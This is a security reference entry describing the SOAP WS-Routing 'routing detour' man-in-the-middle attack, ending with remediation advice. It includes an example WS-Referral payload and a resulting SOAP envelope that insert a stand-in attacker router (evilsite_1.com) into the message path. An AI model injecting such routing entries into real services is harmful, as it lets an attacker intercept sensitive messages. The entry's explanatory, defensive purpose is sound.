# SOAP Routing Detours Vulnerability

#### Description

The WS-Routing Protocol is a protocol for exchanging SOAP messages from an initial message sender to receiver, typically via a set of intermediaries. The WS-Routing protocol is implemented as a SOAP extension, and is embedded in the SOAP Header. WS-Routing is often used to provide a way to direct XML traffic through complex environments and transactions by allowing interim way stations in the XML path to assign routing instructions to an XML document.

Taking a minimalist approach, WS-Routing encapsulates a message path within a SOAP message, so that the message contains enough information to be sent across the Internet using transports like TCP and UDP while supporting:

• The SOAP message path model,
• Full-duplex, one-way message patterns,
• Full-duplex, request-response message patterns, and
• Message correlation.

Routing Detours are a type of «Man in the Middle» attack where Intermediaries can be injected or «hijacked» to route sensitive messages to an outside location. Routing information (either in the HTTP header or in WS-Routing header) can be modified en route and traces of the routing can be removed from the header and message such that the receiving application none the wiser that a routing detour has occurred.

#### Primary issue

The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents)

#### Example of WS-Referral based WS-Routing injection of the bogus node route

 <r:ref xmlns:r="http://schemas.example.com/referral">
<r:for>
<r:prefix>http://example_2.com/router</r:prefix>
</r:for>
<r:if/>
<r:go>
<r:via>http://evilsite_1.com/router</r:via>
</r:go>
</r:ref> 

#### Resulting Routing Detour attack

<S:Envelope>
<m:path
xmlns:m="http://schemas.example.com/rp/"
S:actor="http://schemas.example.com/soap/actor"
S:mustUnderstand="1">
<m:action>http://example_0.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example_2.com/router</m:via>
<m:via>http://evilesite_1.com/router</m:via>
<m:via>http://example_3.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
<S:Body>
...
</S:Body>
</S:Envelope>


#### Consequence

Thus, using Routing Detour, the attacker can route the XML message to a hacker controlled node (and access to the message contents).

#### General Remediation

Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.

Implementation: Use SSL for connections between all parties with mutual authentication